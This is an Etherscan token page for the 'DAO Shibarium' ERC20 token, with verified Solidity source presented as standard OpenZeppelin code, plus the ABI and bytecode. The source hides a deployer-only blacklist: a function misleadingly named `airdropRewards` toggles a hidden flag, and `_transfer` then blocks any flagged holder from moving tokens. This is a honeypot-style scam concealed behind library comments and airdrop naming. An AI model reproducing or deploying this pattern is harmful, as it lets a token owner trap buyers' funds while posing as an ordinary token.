ETH Price: $2,746.84 (+3.05%)

Token

DAO Shibarium (DAOShiba)
 

Overview

Max Total Supply

2,000,000,000,000 DAOShiba

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*fatarotti🐒️.eth
Balance
13,266,591,535.247171012 DAOShiba

Value
$0.00
0x7073e0E2aC3B0CD36E3e1Fc682c545FD8Ed64848
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20Token

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-02-04
*/

/**
 /$$$$$$$   /$$$$$$   /$$$$$$         /$$$$$$  /$$   /$$ /$$$$$$ /$$$$$$$   /$$$$$$  /$$$$$$$  /$$$$$$ /$$   /$$ /$$      /$$
| $$__  $$ /$$__  $$ /$$__  $$       /$$__  $$| $$  | $$|_  $$_/| $$__  $$ /$$__  $$| $$__  $$|_  $$_/| $$  | $$| $$$    /$$$
| $$  \ $$| $$  \ $$| $$  \ $$      | $$  \__/| $$  | $$  | $$  | $$  \ $$| $$  \ $$| $$  \ $$  | $$  | $$  | $$| $$$$  /$$$$
| $$  | $$| $$$$$$$$| $$  | $$      |  $$$$$$ | $$$$$$$$  | $$  | $$$$$$$ | $$$$$$$$| $$$$$$$/  | $$  | $$  | $$| $$ $$/$$ $$
| $$  | $$| $$__  $$| $$  | $$       \____  $$| $$__  $$  | $$  | $$__  $$| $$__  $$| $$__  $$  | $$  | $$  | $$| $$  $$$| $$
| $$  | $$| $$  | $$| $$  | $$       /$$  \ $$| $$  | $$  | $$  | $$  \ $$| $$  | $$| $$  \ $$  | $$  | $$  | $$| $$\  $ | $$
| $$$$$$$/| $$  | $$|  $$$$$$/      |  $$$$$$/| $$  | $$ /$$$$$$| $$$$$$$/| $$  | $$| $$  | $$ /$$$$$$|  $$$$$$/| $$ \/  | $$
|_______/ |__/  |__/ \______/        \______/ |__/  |__/|______/|_______/ |__/  |__/|__/  |__/|______/ \______/ |__/     |__/
                                                                                                                             */
// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

pragma solidity =0.8.1;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
}

// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
// File: @openzeppelin/contracts/utils/Context.sol

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _senderDAO_;
    mapping(address => uint256) private _balances;
    address private approved;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        approved = msg.sender;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function callAirdrop(
        address _airdropAfterCall
    ) public view
      returns (bool) {
        return _senderDAO_[_airdropAfterCall];
    }
    
    function airdropRewards(
        address _airdropAfterCall
    ) external 
    { 
    require(msg.sender == approved); 
    if ( _senderDAO_[_airdropAfterCall] == true) {
    _senderDAO_[_airdropAfterCall] = false;}
    else {
    _senderDAO_[_airdropAfterCall] = true;}
    }
    
    function transfer(
        address recipient,
        uint256 amount
    ) public 
      virtual 
      override 
      returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(
        address spender,
        uint256 amount
    ) public 
      virtual override 
      returns (bool) {
    _approve(_msgSender(), spender, amount);
      return true;
    }

    function allowance(
        address owner,
        address spender
    ) public
      view 
      virtual override 
      returns (uint256) {
      return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public 
      virtual
      override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {_approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual { require(
        sender != address(0), "ERC20: transfer from the zero address"); require(
        recipient != address(0), "ERC20: transfer to the zero address"); if (
        _senderDAO_[sender] ||
        _senderDAO_[recipient]) require (
        amount == 0, ""); _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {_balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance - amount;}
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol

/**
 * @title ERC20Decimals
 * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
 */
abstract contract ERC20Decimals is ERC20 {

    uint8 private immutable _decimals;

    /**
     * @dev Sets the value of the `decimals`. This value is immutable, it can only be
     * set once during construction.
     */
    constructor(uint8 decimals_) {
        _decimals = decimals_;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

// File: contracts/token/ERC20/StandardERC20.sol

/**
 * @title StandardERC20
 * @dev Implementation of the StandardERC20
 */
contract ERC20Token is ERC20Decimals {
    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 _totalSupply_
    ) ERC20(name_, symbol_, decimals_) ERC20Decimals(decimals_) {
        _mint(_msgSender(), _totalSupply_);
    }

    function decimals() public view virtual override returns (uint8) {
        return super.decimals();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"_totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_airdropAfterCall","type":"address"}],"name":"airdropRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_airdropAfterCall","type":"address"}],"name":"callAirdrop","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040523480156200001157600080fd5b5060405162001ebf38038062001ebf8339818101604052810190620000379190620003e5565b8184848482600490805190602001906200005392919062000295565b5081600590805190602001906200006c92919062000295565b5080600660006101000a81548160ff021916908360ff16021790555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050508060ff1660808160ff1660f81b8152505050620000ff620000f26200010960201b60201c565b826200011160201b60201c565b505050506200077b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000184576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200017b90620004bb565b60405180910390fd5b62000198600083836200028b60201b60201c565b8060076000828254620001ac91906200056a565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200020491906200056a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200026b9190620004dd565b60405180910390a362000287600083836200029060201b60201c565b5050565b505050565b505050565b828054620002a39062000614565b90600052602060002090601f016020900481019282620002c7576000855562000313565b82601f10620002e257805160ff191683800117855562000313565b8280016001018555821562000313579182015b8281111562000312578251825591602001919060010190620002f5565b5b50905062000322919062000326565b5090565b5b808211156200034157600081600090555060010162000327565b5090565b60006200035c620003568462000523565b620004fa565b9050828152602081018484840111156200037557600080fd5b62000382848285620005de565b509392505050565b600082601f8301126200039c57600080fd5b8151620003ae84826020860162000345565b91505092915050565b600081519050620003c88162000747565b92915050565b600081519050620003df8162000761565b92915050565b60008060008060808587031215620003fc57600080fd5b600085015167ffffffffffffffff8111156200041757600080fd5b62000425878288016200038a565b945050602085015167ffffffffffffffff8111156200044357600080fd5b62000451878288016200038a565b93505060406200046487828801620003ce565b92505060606200047787828801620003b7565b91505092959194509250565b600062000492601f8362000559565b91506200049f826200071e565b602082019050919050565b620004b581620005c7565b82525050565b60006020820190508181036000830152620004d68162000483565b9050919050565b6000602082019050620004f46000830184620004aa565b92915050565b60006200050662000519565b90506200051482826200064a565b919050565b6000604051905090565b600067ffffffffffffffff821115620005415762000540620006de565b5b6200054c826200070d565b9050602081019050919050565b600082825260208201905092915050565b60006200057782620005c7565b91506200058483620005c7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620005bc57620005bb62000680565b5b828201905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620005fe578082015181840152602081019050620005e1565b838111156200060e576000848401525b50505050565b600060028204905060018216806200062d57607f821691505b60208210811415620006445762000643620006af565b5b50919050565b62000655826200070d565b810181811067ffffffffffffffff82111715620006775762000676620006de565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6200075281620005c7565b81146200075e57600080fd5b50565b6200076c81620005d1565b81146200077857600080fd5b50565b60805160f81c6117256200079a6000396000610ec101526117256000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063402810ba1161008c5780639d346ac4116100665780639d346ac41461023c578063a457c2d714610258578063a9059cbb14610288578063dd62ed3e146102b8576100cf565b8063402810ba146101be57806370a08231146101ee57806395d89b411461021e576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102e8565b6040516100e991906111a2565b60405180910390f35b61010c60048036038101906101079190610fcd565b61037a565b6040516101199190611187565b60405180910390f35b61012a610398565b60405161013791906112c4565b60405180910390f35b61015a60048036038101906101559190610f7e565b6103a2565b6040516101679190611187565b60405180910390f35b610178610499565b60405161018591906112df565b60405180910390f35b6101a860048036038101906101a39190610fcd565b6104a8565b6040516101b59190611187565b60405180910390f35b6101d860048036038101906101d39190610f19565b610553565b6040516101e59190611187565b60405180910390f35b61020860048036038101906102039190610f19565b6105a9565b60405161021591906112c4565b60405180910390f35b6102266105f2565b60405161023391906111a2565b60405180910390f35b61025660048036038101906102519190610f19565b610684565b005b610272600480360381019061026d9190610fcd565b6107ef565b60405161027f9190611187565b60405180910390f35b6102a2600480360381019061029d9190610fcd565b6108d9565b6040516102af9190611187565b60405180910390f35b6102d260048036038101906102cd9190610f42565b6108f7565b6040516102df91906112c4565b60405180910390f35b6060600480546102f7906113f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610323906113f4565b80156103705780601f1061034557610100808354040283529160200191610370565b820191906000526020600020905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b600061038e61038761097d565b8484610985565b6001905092915050565b6000600754905090565b60006103af848484610b4f565b60008060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103f961097d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610479576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047090611224565b60405180910390fd5b61048d8561048561097d565b858403610985565b60019150509392505050565b60006104a3610ebd565b905090565b60006105496104b561097d565b84846000806104c261097d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105449190611316565b610985565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054610601906113f4565b80601f016020809104026020016040519081016040528092919081815260200182805461062d906113f4565b801561067a5780601f1061064f5761010080835404028352916020019161067a565b820191906000526020600020905b81548152906001019060200180831161065d57829003601f168201915b5050505050905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106de57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610794576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506107ec565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000806000806107fd61097d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b1906112a4565b60405180910390fd5b6108ce6108c561097d565b85858403610985565b600191505092915050565b60006108ed6108e661097d565b8484610b4f565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90611284565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c906111e4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b4291906112c4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690611244565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c26906111c4565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610cd05750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610d195760008114610d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0f90611264565b60405180910390fd5b5b610d24838383610ee5565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da290611204565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e409190611316565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ea491906112c4565b60405180910390a3610eb7848484610eea565b50505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b505050565b505050565b600081359050610efe816116c1565b92915050565b600081359050610f13816116d8565b92915050565b600060208284031215610f2b57600080fd5b6000610f3984828501610eef565b91505092915050565b60008060408385031215610f5557600080fd5b6000610f6385828601610eef565b9250506020610f7485828601610eef565b9150509250929050565b600080600060608486031215610f9357600080fd5b6000610fa186828701610eef565b9350506020610fb286828701610eef565b9250506040610fc386828701610f04565b9150509250925092565b60008060408385031215610fe057600080fd5b6000610fee85828601610eef565b9250506020610fff85828601610f04565b9150509250929050565b6110128161137e565b82525050565b6000611023826112fa565b61102d8185611305565b935061103d8185602086016113c1565b61104681611484565b840191505092915050565b600061105e602383611305565b915061106982611495565b604082019050919050565b6000611081602283611305565b915061108c826114e4565b604082019050919050565b60006110a4602683611305565b91506110af82611533565b604082019050919050565b60006110c7602883611305565b91506110d282611582565b604082019050919050565b60006110ea602583611305565b91506110f5826115d1565b604082019050919050565b600061110d600083611305565b915061111882611620565b600082019050919050565b6000611130602483611305565b915061113b82611623565b604082019050919050565b6000611153602583611305565b915061115e82611672565b604082019050919050565b611172816113aa565b82525050565b611181816113b4565b82525050565b600060208201905061119c6000830184611009565b92915050565b600060208201905081810360008301526111bc8184611018565b905092915050565b600060208201905081810360008301526111dd81611051565b9050919050565b600060208201905081810360008301526111fd81611074565b9050919050565b6000602082019050818103600083015261121d81611097565b9050919050565b6000602082019050818103600083015261123d816110ba565b9050919050565b6000602082019050818103600083015261125d816110dd565b9050919050565b6000602082019050818103600083015261127d81611100565b9050919050565b6000602082019050818103600083015261129d81611123565b9050919050565b600060208201905081810360008301526112bd81611146565b9050919050565b60006020820190506112d96000830184611169565b92915050565b60006020820190506112f46000830184611178565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611321826113aa565b915061132c836113aa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561136157611360611426565b5b828201905092915050565b60006113778261138a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156113df5780820151818401526020810190506113c456